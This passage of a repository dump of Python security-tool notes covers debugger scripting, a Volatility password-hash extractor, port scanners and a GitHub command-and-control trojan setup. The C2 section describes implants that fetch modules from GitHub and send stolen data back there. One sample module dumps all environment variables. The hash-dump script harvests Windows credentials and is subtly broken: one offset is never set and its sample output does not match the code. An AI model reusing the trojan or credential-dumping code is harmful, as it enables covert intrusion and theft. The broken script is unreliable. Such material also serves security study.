- **Return Statement**: 64 | - The script returns a message indicating the number of functions it is tracking. 65 | 66 | ### Key Concepts: 67 | 68 | 1. **Immunity Debugger**: 69 | - **Immunity Debugger** is an advanced debugger used for reverse engineering and malware analysis. It supports Python scripting to automate various tasks, such as setting breakpoints, analyzing code, and modifying execution. 70 | 71 | 2. **`LogBpHook`**: 72 | - `LogBpHook` is a hook class in Immunity Debugger, primarily used for setting breakpoints and logging when the breakpoint is triggered. This helps to monitor the execution flow of a process. 73 | 74 | 3. **Debugger Operations**: 75 | - `imm.getModule()`: Retrieves information about a specific module (in this case, `calc.exe`). 76 | - `imm.analyseCode()`: Analyzes the code of a module, which helps in identifying its structure and functions. 77 | - `imm.getAllFunctions()`: Returns a list of all functions in a given code base. 78 | 79 | 4. **Breakpoint Management**: 80 | - **`hooker.add()`**: This adds a breakpoint at the start of each function, allowing the script to monitor function calls and log the address (EIP). 81 | - **`imm.deleteBreakpoint()`**: Removes the breakpoint once it has been triggered, allowing the program to continue execution. 82 | 83 | ### How the Script Works: 84 | 85 | 1. **Initialize the Debugger**: 86 | - The script initializes the **Immunity Debugger** instance and loads the `calc.exe` module. 87 | 88 | 2. **Analyze the Code**: 89 | - The `analyseCode` method is called to perform a basic analysis of the code in the `calc.exe` module. 90 | 91 | 3. **Get Functions**: 92 | - It retrieves all the functions in `calc.exe` by using the `getAllFunctions` method. 93 | 94 | 4. **Set Breakpoints**: 95 | - The script iterates over each function and sets a breakpoint at the function's starting address using the `CcHook` class. When the breakpoint is hit, the address is logged. 96 | 97 | 5. **Log Execution Flow**: 98 | - Each time a breakpoint is hit, the current instruction pointer (`EIP`) is logged. 99 | 100 | ### How to Run: 101 | 102 | 1. **Install Immunity Debugger**: 103 | - Download and install **Immunity Debugger** from [Immunity Inc.](https://www.immunityinc.com/). 104 | 105 | 2. **Prepare the Script**: 106 | - Save the script to a `.py` file, for example, `track_functions.py`. 107 | - Ensure that the script is placed in the correct directory where the **Immunity Debugger** can access it (or modify the `sys.path` to point to the Immunity Debugger installation). 108 | 109 | 3. **Run the Script in Immunity Debugger**: 110 | - Open **Immunity Debugger**. 111 | - Load the target binary (in this case, `calc.exe` or any other executable you want to analyze). 112 | - In the **Immunity Debugger** console, type the following command to run the script: 113 | ```python 114 | exec(open("path_to_script/track_functions.py").read()) 115 | ``` 116 | 117 | 4. **Track Function Calls**: 118 | - The script will set breakpoints at the start of each function in the target program (`calc.exe` in this case). 119 | - Each time a function is called, the script will log the **EIP** (Instruction Pointer) to show where the program is currently executing. 120 | 121 | ### Example Output: 122 | ``` 123 | [*] Tracking 10 functions 124 | [+] Function at 0x00401000 is being called 125 | [+] Function at 0x00401020 is being called 126 | [+] Function at 0x00401040 is being called 127 | ... 128 | ``` 129 | 130 | ### Ethical Considerations: 131 | 132 | - This type of script is often used in reverse engineering for educational purposes, security research, and malware analysis. 133 | - It is essential to ensure that you have permission to analyze and modify the target binary. Unauthorized reverse engineering may be illegal depending on your jurisdiction. 134 | -------------------------------------------------------------------------------- /Python Tools/Forensics/README.md: -------------------------------------------------------------------------------- 1 | ### Notes for the readers 2 | 3 | #### Volatility 4 | 5 | You need Volatility for this chapter. Get it here https://code.google.com/archive/p/volatility/ or even better check https://github.com/volatilityfoundation/volatility. For easy ref the zip file is included here too. You can both install it or run the `vol.py` standalone in your fav folder. 6 | 7 | The book explain a very little-to-none about how to use Volatility. Here are some useful resources: 8 | - https://support.eset.com/en/kb380-how-do-i-generate-a-memory-dump-manually 9 | - https://heisenberk.github.io/Profile-Memory-Dump/ 10 | - https://book.hacktricks.xyz/forensics/basic-forensic-methodology/memory-dump-analysis/volatility-examples 11 | - https://github.com/volatilityfoundation/volatility/wiki 12 | - This is specific if you're running win10 https://blog.cyberhacktics.com/memory-forensics-on-windows-10-with-volatility/ 13 | 14 | #### Immunity Debugger 15 | 16 | You can get Immunity Debugger (required to finalize the last pj) here https://www.immunityinc.com/products/debugger/.
17 | To use the `immlib` module required for the code, you could follow this: 18 | 19 | `import sys`
20 | `sys.path.append('C:/Program Files (x86)/Immunity Inc/Immunity Debugger')`
21 | `sys.path.append('C:/Program Files (x86)/Immunity Inc/Immunity Debugger/Libs')`
22 | 23 | `import immlib`
24 | 25 | #### Windows Registry 26 | 27 | Also, dealing with Windows registry, those should come in handy: 28 | - https://www.top-password.com/blog/tag/windows-sam-registry-file/ 29 | - https://en.wikipedia.org/wiki/Security_Account_Manager 30 | - https://ad-pdf.s3.amazonaws.com/Registry%20Offsets%209-8-08.pdf 31 | 32 | The code of this last chapter is still to be dutyfully tested. 33 | -------------------------------------------------------------------------------- /Python Tools/Forensics/extract password hashes from a Windows memory dump using Volatility 3.md: -------------------------------------------------------------------------------- 1 | This script is designed to extract password hashes from a Windows memory dump using Volatility 3, a popular memory forensics tool. Specifically, it targets the **SAM** (Security Account Manager) and **System** registry hives within the memory dump to extract password hashes. 2 | 3 | 4 | ```python 5 | import sys 6 | import volatility.conf as conf 7 | import volatility.registry as registry 8 | import volatility.commands as commands 9 | import volatility.addrspace as addrspace 10 | from volatility.plugins.registry.registryapi import RegistryApi 11 | from volatility.plugins.registry.lsadump import HashDump 12 | 13 | memory_file = "Win10X64.vmem" # see README.md on how to get memory dumps 14 | 15 | sys.path.append("/volatility3.1.0.0") 16 | 17 | registry.PluginImporter() 18 | config = conf.ConfObject() 19 | 20 | config.parse_options() 21 | config.PROFILE = "Win10X64" 22 | config.LOCATION = f"file://{memory_file}" 23 | 24 | registry.register_global_options(config, commands.Command) 25 | registry.register_global_options(config, addrspace.BaseAddressSpace) 26 | 27 | registry = RegistryApi(config) 28 | registry.populate_offsets() 29 | 30 | sam_offset = None 31 | sys_offset = None 32 | 33 | for offset in registry.all_offsets: 34 | 35 | if registry.all_offsets[offset].endswith("\\SAM"): 36 | sam_offset = offset 37 | print("[*] System: 0x%08x" % offset) 38 | 39 | if sam_offset is not None and sys_offset is not None: 40 | config.sys_offset = sys_offset 41 | config.sam_offset = sam_offset 42 | hashdump = HashDump(config) 43 | 44 | for hash in hashdump.calculate(): 45 | print(hash) 46 | break 47 | 48 | if sam_offset is None or sys_offset is None: 49 | print("[*] Failed to find the system or SAM offsets") 50 | ``` 51 | 52 | ### Key Components: 53 | 54 | 1. **Memory File**: 55 | - **`memory_file = "Win10X64.vmem"`**: This represents the path to the memory dump file (e.g., `Win10X64.vmem`), which is the memory image from a Windows machine. You would need a memory dump file to run this script. 56 | 57 | 2. **Volatility 3 Imports**: 58 | - `volatility.conf`, `volatility.registry`, `volatility.commands`, `volatility.addrspace`, etc., are all imports from the Volatility 3 framework. 59 | - These modules help in managing configuration options, interacting with the memory address space, and loading the appropriate plugins for registry analysis and hash dumping. 60 | 61 | 3. **Registry and SAM/Hive Parsing**: 62 | - The **RegistryApi** is used to interact with the Windows registry hives that are loaded from the memory image. 63 | - The **`HashDump`** plugin is used to dump password hashes from the loaded registry hives (`SAM` and `System`). 64 | - The script searches for specific offsets in the memory dump that correspond to the **SAM** and **System** registry hives. 65 | 66 | 4. **Configuration Setup**: 67 | - The `config` object is created and configured with the path to the memory file and the profile (`Win10X64`) to match the Windows version of the memory dump. 68 | - **`registry.register_global_options()`**: Registers configuration options globally for the analysis (address space, commands, etc.). 69 | 70 | 5. **Searching for SAM and System Offsets**: 71 | - The script loops through the available offsets in the registry and looks for the `SAM` and `System` registry hives. 72 | - If both hives are found (`sam_offset` and `sys_offset`), the script proceeds to dump the password hashes. 73 | 74 | 6. **Hash Dump**: 75 | - If both the `SAM` and `System` offsets are found, it uses the **`HashDump`** plugin to dump the password hashes from these hives. 76 | - It prints the hashes in the format that Volatility outputs, which usually includes the usernames and their corresponding password hashes. 77 | 78 | ### Workflow: 79 | 1. **Initialize Config**: The configuration object is set with the memory dump file and profile. 80 | 2. **Search Offsets**: The script searches through the registry offsets in the memory dump to find the locations for `SAM` and `System`. 81 | 3. **Hash Dump**: Once both registry hives are located, it uses Volatility’s `HashDump` plugin to extract and print the password hashes from the memory dump. 82 | 83 | ### How to Run: 84 | 85 | 1. **Install Volatility 3**: 86 | - First, ensure you have Volatility 3 installed. You can clone the repository from GitHub: 87 | ```bash 88 | git clone https://github.com/volatilityfoundation/volatility3.git 89 | cd volatility3 90 | pip install . 91 | ``` 92 | 93 | 2. **Set Up Memory Dump**: 94 | - Obtain a memory dump from the target machine (this can be done using tools like FTK Imager or WinPMEM). Save the memory dump (e.g., `Win10X64.vmem`) in the same directory as the script, or modify the `memory_file` variable to point to the correct location of the memory dump file. 95 | 96 | 3. **Install Dependencies**: 97 | - Install any required Python dependencies, such as `volatility` and `pywin32` (if needed for specific Volatility plugins): 98 | ```bash 99 | pip install volatility3 pywin32 100 | ``` 101 | 102 | 4. **Run the Script**: 103 | - Execute the script to start parsing the memory dump and extracting the password hashes. 104 | ```bash 105 | python extract_hashes.py 106 | ``` 107 | 108 | 5. **Results**: 109 | - The script will output the found hashes (if any) on the console, showing the usernames and the corresponding password hashes. 110 | 111 | ### Example Output: 112 | If the `SAM` and `System` hives are found, the script will print something like: 113 | ``` 114 | [*] System: 0x12345678 115 | [*] Found the SAM offset 116 | user1:$HASH1 117 | user2:$HASH2 118 | ... 119 | ``` 120 | 121 | ### Important Considerations: 122 | 123 | - **Memory Dump**: The success of this script depends on having a valid and complete memory dump file from the target system. 124 | - **Legal and Ethical Use**: This script should only be used in controlled, ethical environments, such as penetration testing engagements where you have explicit authorization. Using this script without proper consent is illegal and unethical. 125 | - **Volatility Version**: Make sure you're using **Volatility 3** (not Volatility 2) because the script imports from Volatility 3 libraries and plugins. 126 | -------------------------------------------------------------------------------- /Python Tools/Github Command and Control/README.md: -------------------------------------------------------------------------------- 1 | One of the most challenging aspects of creating a 2 | solid trojan framework is asynchronously controlling, 3 | updating, and receiving data from your deployed 4 | implants. It’s crucial to have a relatively universal way 5 | to push code to your remote trojans. This flexibility 6 | is required not just to control your trojans in order to perform different 7 | tasks, but also because you might have additional code that’s specific to the 8 | target operating system. 9 | So while hackers have had lots of creative means of command and control over the years, such as IRC or even Twitter, we’ll try a service actually 10 | designed for code. We’ll use GitHub as a way to store implant configuration 11 | information and exfiltrated data, as well as any modules that the implant 12 | needs in order to execute tasks. We’ll also explore how to hack Python’s 13 | native library import mechanism so that as you create new trojan modules, 14 | your implants can automatically attempt to retrieve them and any dependent libraries directly from your repo, too. Keep in mind that your traffic to 15 | GitHub will be encrypted over SSL, and there are very few enterprises that 16 | I’ve seen that actively block GitHub itself. 17 | 18 | one thing to note is that we’ll use a public repo to perform this testing; 19 | if you’d like to spend the money, you can get a private repo so that prying 20 | eyes can’t see what you’re doing. Additionally, all of your modules, configuration, and data can be encrypted using public/private key pairs, which I 21 | demonstrate in Chapter 9. Let’s get started! 22 | Setting Up a GitHub Account 23 | If you don’t have a GitHub account, then head over to GitHub.com, sign up, 24 | and create a new repository called chapter7. Next, you’ll want to install the 25 | Python GitHub API library1 so that you can automate your interaction with 26 | your repo. You can do this from the command line by doing the following: 27 | 28 | > pip install github3.py 29 | 30 | If you haven’t done so already, install the git client. I do my development from a Linux machine, but it works on any platform. Now let’s create a 31 | basic structure for our repo. Do the following on the command line, adapting as necessary if you’re on Windows 32 | ```bash 33 | $ mkdir trojan 34 | $ cd trojan 35 | $ git init 36 | $ mkdir modules 37 | $ mkdir config 38 | $ mkdir data 39 | $ touch modules/.gitignore 40 | $ touch config/.gitignore 41 | $ touch data/.gitignore 42 | $ git add . 43 | $ git commit -m "Adding repo structure for trojan." 44 | $ git remote add origin https://github.com//chapter7.git 45 | $ git push origin master 46 | ``` 47 | Here, we’ve created the initial structure for our repo. The config directory holds configuration files that will be uniquely identified for each trojan. As you deploy trojans, you want each one to perform different tasks and 48 | each trojan will check out its unique configuration file. The modules directory contains any modular code that you want the trojan to pick up and 49 | then execute. We will implement a special import hack to allow our trojan 50 | to import libraries directly from our GitHub repo. This remote load capability will also allow you to stash third-party libraries in GitHub so you don’t 51 | have to continually recompile your trojan every time you want to add new 52 | functionality or dependencies. The data directory is where the trojan will 53 | check in any collected data, keystrokes, screenshots, and so forth. Now let’s 54 | create some simple modules and an example configuration file. 55 | 56 | The repo where this library is hosted is here: https://github.com/copitux/python-github3/. 57 | -------------------------------------------------------------------------------- /Python Tools/Github Command and Control/config/abc.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "module": "dirlister" 4 | }, 5 | { 6 | "module": "environment" 7 | } 8 | ] 9 | -------------------------------------------------------------------------------- /Python Tools/Github Command and Control/modules/dirlister.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def run(): 4 | print("[*] In dirlister module.") 5 | files = os.listdir(".") 6 | 7 | return str(files) 8 | 9 | -------------------------------------------------------------------------------- /Python Tools/Github Command and Control/modules/environment.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def run(): 4 | print("[*] In environment module.") 5 | return str(os.environ) 6 | 7 | -------------------------------------------------------------------------------- /Python Tools/HTTP/Check Open and Closed Ports on a Remote Host.md: -------------------------------------------------------------------------------- 1 | ## Check Open and Closed Ports on a Remote Host 2 | 3 | ### Code Explanation: 4 | 5 | This Python script uses the `socket` library to create a socket connection and checks if specified ports are open on the given IP address (in this case, `localhost`). The script will display whether each port is open or closed. 6 | 7 | ```python 8 | #!/usr/bin/python 9 | 10 | import socket 11 | import sys 12 | 13 | def checkPortsSocket(ip, portlist): 14 | try: 15 | # Loop through each port in the portlist 16 | for port in portlist: 17 | # Create a socket object 18 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | sock.settimeout(5) # Set a timeout of 5 seconds for each connection attempt 20 | 21 | # Try to connect to the IP address and port 22 | result = sock.connect_ex((ip, port)) 23 | 24 | # If result == 0, the port is open 25 | if result == 0: 26 | print("Port {}: \t Open".format(port)) 27 | else: 28 | print("Port {}: \t Closed".format(port)) 29 | 30 | sock.close() # Close the socket after checking each port 31 | 32 | except socket.error as error: 33 | # Handle any connection errors 34 | print(str(error)) 35 | print("Connection error") 36 | sys.exit() 37 | 38 | # Call the function with localhost and a list of ports to check 39 | checkPortsSocket('localhost', [21, 22, 80, 8080, 443]) 40 | ``` 41 | 42 | #### Code Explanation: 43 | 1. **Imports**: 44 | - `socket`: This module provides access to the BSD socket interface, which includes creating sockets and connecting to remote servers. 45 | - `sys`: This module is used to interact with the system, especially for exiting the program in case of an error. 46 | 47 | 2. **`checkPortsSocket` Function**: 48 | - **Parameters**: 49 | - `ip`: The IP address (or hostname) of the machine you want to check. 50 | - `portlist`: A list of port numbers to check. 51 | 52 | - **Process**: 53 | - The function loops through the provided list of ports and attempts to establish a TCP connection to each port using the `socket.socket` method. 54 | - `sock.settimeout(5)` sets a timeout of 5 seconds for each connection attempt. 55 | - `sock.connect_ex((ip, port))` tries to connect to the specified IP and port. If the connection is successful, `connect_ex` will return 0, indicating that the port is open. 56 | - Based on the result, the script will print whether each port is open or closed. 57 | - After checking each port, the socket is closed using `sock.close()`. 58 | 59 | 3. **Error Handling**: 60 | - If any socket error occurs, it prints the error message and exits the program using `sys.exit()`. 61 | 62 | 4. **Main Execution**: 63 | - The function `checkPortsSocket('localhost', [21, 22, 80, 8080, 443])` is called, which checks the status of ports `21`, `22`, `80`, `8080`, and `443` on the localhost (`127.0.0.1`). 64 | 65 | #### How to Run the Script: 66 | 1. Save the script to a file, e.g., `check_ports.py`. 67 | 2. Open a terminal or command prompt. 68 | 3. Navigate to the directory where `check_ports.py` is saved. 69 | 4. Run the script using the Python interpreter: 70 | ```bash 71 | python check_ports.py 72 | ``` 73 | This will check the specified ports on `localhost` and print whether each port is open or closed. 74 | 75 | ### Example Output: 76 | ```bash 77 | Port 21: Closed 78 | Port 22: Open 79 | Port 80: Open 80 | Port 8080: Closed 81 | Port 443: Open 82 | ``` 83 | 84 | 85 | This simple Python script can be used to check the status of various ports on a machine. It helps in identifying whether critical services like SSH (port 22), HTTP (port 80), HTTPS (port 443), or FTP (port 21) are accessible. You can modify this script to fit your specific needs, such as checking different ports or working with remote IP addresses instead of `localhost`. 86 | -------------------------------------------------------------------------------- /Python Tools/HTTP/Multithreaded TCP Port Scanning.md: -------------------------------------------------------------------------------- 1 | # Multithreaded TCP Port Scanning 2 | 3 | This script allows you to perform a multi-threaded TCP port scan on a remote host, checking the status of specified ports (open or closed). 4 | 5 | 6 | 7 | ```python 8 | #!/usr/bin/python 9 | 10 | import optparse 11 | from socket import * 12 | from threading import * 13 | 14 | def socketScan(host, port): 15 | try: 16 | socket_connect = socket(AF_INET, SOCK_STREAM) 17 | socket_connect.settimeout(5) 18 | result = socket_connect.connect((host, port)) 19 | print('[+] %d/tcp open' % port) 20 | except Exception as exception: 21 | print('[-] %d/tcp closed' % port) 22 | print('[-] Reason:%s' % str(exception)) 23 | finally: 24 | socket_connect.close() 25 | 26 | def portScanning(host, ports): 27 | try: 28 | ip = gethostbyname(host) 29 | print('[+] Scan Results for: ' + ip) 30 | except: 31 | print("[-] Cannot resolve '%s': Unknown host" %host) 32 | return 33 | 34 | for port in ports: 35 | t = Thread(target=socketScan,args=(ip,int(port))) 36 | t.start() 37 | 38 | def main(): 39 | parser = optparse.OptionParser('socket_portScan '+ '-H -P ') 40 | parser.add_option('-H', dest='host', type='string', help='specify host') 41 | parser.add_option('-P', dest='port', type='string', help='specify port[s] separated by comma') 42 | 43 | (options, args) = parser.parse_args() 44 | 45 | host = options.host 46 | ports = str(options.port).split(',') 47 | 48 | if (host == None) | (ports[0] == None): 49 | print(parser.usage) 50 | exit(0) 51 | 52 | portScanning(host, ports) 53 | 54 | 55 | if __name__ == '__main__': 56 | main() 57 | ``` 58 | 59 | #### Code Explanation: 60 | 61 | 1. **Imports**: 62 | - `optparse`: This module is used to parse command-line options and arguments. 63 | - `socket`: Provides low-level networking interfaces to create sockets and connect to remote servers. 64 | - `threading`: This module is used to create multiple threads for concurrent execution. 65 | 66 | 2. **`socketScan` Function**: 67 | - **Parameters**: 68 | - `host`: The target host (IP or domain). 69 | - `port`: The port to be checked. 70 | - **Process**: 71 | - This function creates a socket, connects to the specified `host` and `port`, and checks whether the port is open or closed. 72 | - If the connection succeeds, it prints that the port is open. 73 | - If the connection fails, it catches the exception and prints that the port is closed, along with the error reason. 74 | - The socket is closed in the `finally` block to ensure the connection is properly terminated. 75 | 76 | 3. **`portScanning` Function**: 77 | - **Parameters**: 78 | - `host`: The target host (IP or domain). 79 | - `ports`: A list of ports to scan. 80 | - **Process**: 81 | - Resolves the `host` name to its corresponding IP address using `gethostbyname`. 82 | - If the host cannot be resolved, it prints an error message and returns. 83 | - For each port in the list, it creates a new thread (`Thread`) to run the `socketScan` function concurrently, allowing for faster scanning of multiple ports. 84 | 85 | 4. **`main` Function**: 86 | - **Command-Line Arguments**: 87 | - `-H `: Specifies the target host (IP or domain). 88 | - `-P `: Specifies a list of ports (comma-separated) to scan. 89 | - **Process**: 90 | - The function uses `optparse` to parse the command-line arguments. 91 | - It then calls `portScanning` with the host and ports provided by the user. 92 | 93 | 5. **Main Execution**: 94 | - If the script is run directly (`if __name__ == '__main__':`), it calls the `main()` function to initiate the port scanning process. 95 | 96 | #### How to Run the Script: 97 | 98 | 1. Save the script to a file, e.g., `port_scanner.py`. 99 | 2. Open a terminal or command prompt. 100 | 3. Navigate to the directory where `port_scanner.py` is saved. 101 | 4. Run the script using the Python interpreter: 102 | ```bash 103 | python port_scanner.py -H -P 104 | ``` 105 | Replace `` with the IP address or domain name of the host you want to scan, and `` with a comma-separated list of ports to check. For example: 106 | ```bash 107 | python port_scanner.py -H 192.168.1.1 -P 22,80,443 108 | ``` 109 | 110 | ### Example Command: 111 | ```bash 112 | python port_scanner.py -H example.com -P 21,22,80,443,8080 113 | ``` 114 | 115 | ### Example Output: 116 | ```bash 117 | [+] Scan Results for: 93.184.216.34 118 | [+] 21/tcp open 119 | [+] 22/tcp open 120 | [-] 80/tcp closed 121 | [-] Reason:[Errno 111] Connection refused 122 | [+] 443/tcp open 123 | [+] 8080/tcp open 124 | ``` 125 | 126 | #### Notes: 127 | - The script uses threading to check multiple ports concurrently, improving the scan speed. 128 | - The script can be further optimized or extended by adding features such as scanning a range of ports or saving the scan results to a file. 129 | -------------------------------------------------------------------------------- /Python Tools/HTTP/Resolve Host Name from an IP Address.md: -------------------------------------------------------------------------------- 1 | # Resolve Host Name from an IP Address 2 | 3 | This script resolves the host name for a given IP address and prints the corresponding IP addresses associated with the host. 4 | 5 | ```python 6 | #!/usr/bin/env python 7 | 8 | import socket 9 | 10 | try : 11 | result = socket.gethostbyaddr("8.8.8.8") 12 | print("The host name is:",result[0]) 13 | print("Ip addresses:") 14 | for item in result[2]: 15 | print(" "+item) 16 | except socket.error as e: 17 | print("Error for resolving ip address:",e) 18 | ``` 19 | 20 | #### Code Explanation: 21 | 22 | 1. **Imports**: 23 | - `socket`: This module provides low-level networking interfaces, such as resolving hostnames and working with IP addresses. 24 | 25 | 2. **Resolving the Host Name**: 26 | - `socket.gethostbyaddr("8.8.8.8")`: This function is used to resolve the host name for the given IP address (`8.8.8.8` in this case). It returns a tuple containing: 27 | - The primary host name. 28 | - An alias list (which can be empty or contain alternative names for the host). 29 | - A list of IP addresses associated with the host. 30 | 31 | - **Result**: 32 | - `result[0]`: The primary host name (e.g., "dns.google"). 33 | - `result[2]`: The list of IP addresses associated with the host (e.g., `['8.8.8.8', '8.8.4.4']`). 34 | 35 | 3. **Printing the Results**: 36 | - The primary host name (`result[0]`) is printed. 37 | - A loop iterates through `result[2]`, which contains the IP addresses associated with the host, and each IP address is printed. 38 | 39 | 4. **Error Handling**: 40 | - If there is any error (e.g., the IP address cannot be resolved or is invalid), a `socket.error` exception is caught, and an error message is printed. 41 | 42 | #### How to Run the Script: 43 | 44 | 1. Save the script to a file, e.g., `resolve_host.py`. 45 | 2. Open a terminal or command prompt. 46 | 3. Navigate to the directory where `resolve_host.py` is saved. 47 | 4. Run the script using Python: 48 | ```bash 49 | python resolve_host.py 50 | ``` 51 | 52 | ### Example Output: 53 | 54 | For the IP address `8.8.8.8` (Google DNS): 55 | 56 | ```bash 57 | The host name is: dns.google 58 | Ip addresses: 59 | 8.8.8.8 60 | 8.8.4.4 61 | ``` 62 | 63 | If there is an error (e.g., invalid IP): 64 | 65 | ```bash 66 | Error for resolving ip address: [Errno 11004] getaddrinfo failed 67 | ``` 68 | 69 | #### Notes: 70 | - You can replace the IP address `8.8.8.8` with any valid IP address to resolve its host name and associated IP addresses. 71 | - This script is useful for DNS reverse lookups, helping to find the host name corresponding to an IP address. 72 | -------------------------------------------------------------------------------- /Python Tools/HTTP/Scanning a Range of Ports on a Remote Host.md: -------------------------------------------------------------------------------- 1 | # Scanning a Range of Ports on a Remote Host 2 | 3 | This script allows you to scan a range of ports on a remote host and check if they are open or closed. 4 | 5 | ```python 6 | #!/usr/bin/env python 7 | 8 | import socket 9 | import sys 10 | from datetime import datetime 11 | import errno 12 | 13 | remoteServer = input("Enter a remote host to scan: ") 14 | remoteServerIP = socket.gethostbyname(remoteServer) 15 | 16 | print("Please enter the range of ports you would like to scan on the machine") 17 | startPort = input("Enter a start port: ") 18 | endPort = input("Enter a end port: ") 19 | 20 | print("Please wait, scanning remote host", remoteServerIP) 21 | 22 | time_init = datetime.now() 23 | 24 | try: 25 | for port in range(int(startPort),int(endPort)): 26 | print ("Checking port {} ...".format(port)) 27 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | sock.settimeout(5) 29 | result = sock.connect_ex((remoteServerIP, port)) 30 | if result == 0: 31 | print("Port {}: Open".format(port)) 32 | else: 33 | print("Port {}: Closed".format(port)) 34 | print("Reason:",errno.errorcode[result]) 35 | sock.close() 36 | 37 | except KeyboardInterrupt: 38 | print("You pressed Ctrl+C") 39 | sys.exit() 40 | except socket.gaierror: 41 | print('Hostname could not be resolved. Exiting') 42 | sys.exit() 43 | except socket.error: 44 | print("Couldn't connect to server") 45 | sys.exit() 46 | 47 | time_finish = datetime.now() 48 | total = time_finish - time_init 49 | print('Port Scanning Completed in: ', total) 50 | ``` 51 | 52 | 53 | #### Code Explanation: 54 | 55 | 1. **Imports**: 56 | - `socket`: This module provides low-level networking interfaces to create sockets and connect to remote servers. 57 | - `sys`: Used for interacting with the system, especially for handling exceptions and exiting the program. 58 | - `datetime`: This module is used to track the start and end times of the scanning process, so the script can output how long the scan took. 59 | - `errno`: Provides standard error codes for socket-related issues (although this part is not necessary in this context, it’s intended for better error messages). 60 | 61 | 2. **User Input**: 62 | - `remoteServer`: Asks the user to input the host or domain name of the machine to scan. 63 | - `remoteServerIP`: Resolves the domain name (`remoteServer`) into an IP address using `socket.gethostbyname`. 64 | - `startPort` and `endPort`: Asks the user for a range of ports to scan (inclusive of both start and end). 65 | 66 | 3. **Time Tracking**: 67 | - `time_init` is initialized at the start of the scanning process to calculate how long the scan takes. 68 | - `time_finish` is recorded at the end, and the difference gives the total time for the scan. 69 | 70 | 4. **Port Scanning Logic**: 71 | - The script loops through all ports in the specified range (`startPort` to `endPort`). 72 | - For each port, a socket object is created (`sock`), and `sock.settimeout(5)` sets a 5-second timeout for the connection attempt. 73 | - The `sock.connect_ex()` method is used to try to connect to the target IP address and port. If it returns `0`, the port is open. If any other value is returned, the port is closed. 74 | - If the port is closed, the script prints the error code from `errno.errorcode[result]`, which helps understand the specific connection failure reason. 75 | - After checking each port, the socket is closed (`sock.close()`). 76 | 77 | 5. **Exception Handling**: 78 | - **KeyboardInterrupt**: If the user presses `Ctrl+C`, the program will exit gracefully with a message. 79 | - **socket.gaierror**: If the hostname can't be resolved (e.g., incorrect or unreachable host), it prints an error and exits. 80 | - **socket.error**: If there's any error connecting to the server, the program will print an error message and exit. 81 | 82 | 6. **Final Output**: 83 | - After scanning, the script calculates and prints how long the scanning process took by subtracting `time_init` from `time_finish`. 84 | 85 | #### How to Run the Script: 86 | 87 | 1. Save the script to a file, e.g., `port_scanner.py`. 88 | 2. Open a terminal or command prompt. 89 | 3. Navigate to the directory where `port_scanner.py` is saved. 90 | 4. Run the script using the Python interpreter: 91 | ```bash 92 | python port_scanner.py 93 | ``` 94 | 95 | ### Example Output: 96 | 97 | ```bash 98 | Enter a remote host to scan: example.com 99 | Please enter the range of ports you would like to scan on the machine 100 | Enter a start port: 20 101 | Enter a end port: 25 102 | Please wait, scanning remote host 93.184.216.34 103 | Checking port 20 ... 104 | Port 20: Closed 105 | Reason: [Errno 111] Connection refused 106 | Checking port 21 ... 107 | Port 21: Open 108 | Checking port 22 ... 109 | Port 22: Open 110 | Checking port 23 ... 111 | Port 23: Closed 112 | Reason: [Errno 111] Connection refused 113 | ... 114 | Port Scanning Completed in: 0:00:12.345678 115 | ``` 116 | 117 | #### Notes: 118 | - The user is prompted for the host and the port range, making it flexible. 119 | - The script checks multiple ports sequentially and reports the status of each one. 120 | - The timeout is set to 5 seconds to avoid long waits for unresponsive ports. You can adjust this value if needed. 121 | -------------------------------------------------------------------------------- /Python Tools/HTTP/Test a Socket Connection to a Remote Host.md: -------------------------------------------------------------------------------- 1 | # Test a Socket Connection to a Remote Host 2 | 3 | This script is designed to test the ability to create a socket and connect to a specified remote host on a specific port (default is port 80). 4 | 5 | ```python 6 | #!/usr/bin/env python 7 | 8 | import socket,sys 9 | 10 | host = "domain/ip_address" 11 | port = 80 12 | 13 | 14 | try: 15 | mysocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 16 | print(mysocket) 17 | mysocket.settimeout(5) 18 | except socket.error as e: 19 | print("socket create error: %s" %e) 20 | sys.exit(1) 21 | 22 | 23 | try: 24 | mysocket.connect((host,port)) 25 | print(mysocket) 26 | 27 | except socket.timeout as e : 28 | print("Timeout %s" %e) 29 | sys.exit(1) 30 | except socket.gaierror as e: 31 | print("connection error to the server:%s" %e) 32 | sys.exit(1) 33 | except socket.error as e: 34 | print("Connection error: %s" %e) 35 | sys.exit(1) 36 | ``` 37 | 38 | #### Code Explanation: 39 | 40 | 1. **Imports**: 41 | - `socket`: The module used for creating sockets and connecting to remote hosts. 42 | - `sys`: Used for handling system-level operations, especially exiting the script if an error occurs. 43 | 44 | 2. **Host and Port Setup**: 45 | - `host = "domain/ip_address"`: This is the domain or IP address of the remote host you want to connect to. You need to replace this with the actual domain name or IP address. 46 | - `port = 80`: This is the port number you want to connect to. In this example, the default port is 80 (typically used for HTTP services). 47 | 48 | 3. **Creating the Socket**: 49 | - `mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)`: Creates a socket object that uses the Internet protocol (`AF_INET`) and TCP (`SOCK_STREAM`). 50 | - `mysocket.settimeout(5)`: Sets a timeout of 5 seconds for the socket connection attempt. This means if the connection doesn't succeed within 5 seconds, a timeout exception will be raised. 51 | 52 | 4. **Error Handling during Socket Creation**: 53 | - If the socket creation fails for any reason, an exception is caught (`socket.error`), and the error message is printed. The script then exits with `sys.exit(1)` to indicate an error. 54 | 55 | 5. **Connecting to the Host**: 56 | - `mysocket.connect((host, port))`: This attempts to connect to the specified host and port. 57 | - **Exceptions**: 58 | - **`socket.timeout`**: If the connection attempt times out (i.e., the server doesn't respond in the specified timeout period), a timeout exception is raised. 59 | - **`socket.gaierror`**: If there is a DNS resolution error (e.g., the domain name cannot be resolved to an IP address), a connection error is raised. 60 | - **`socket.error`**: If any other connection error occurs (e.g., network issues, server down, etc.), it is caught by this exception. 61 | 62 | 6. **Output**: 63 | - If the connection is successful, the socket object (`mysocket`) is printed, showing details about the socket. 64 | - If any error occurs during either socket creation or connection, an error message is displayed, and the script exits. 65 | 66 | #### How to Run the Script: 67 | 68 | 1. Save the script to a file, e.g., `socket_connection_test.py`. 69 | 2. Open a terminal or command prompt. 70 | 3. Navigate to the directory where `socket_connection_test.py` is saved. 71 | 4. Run the script using Python: 72 | ```bash 73 | python 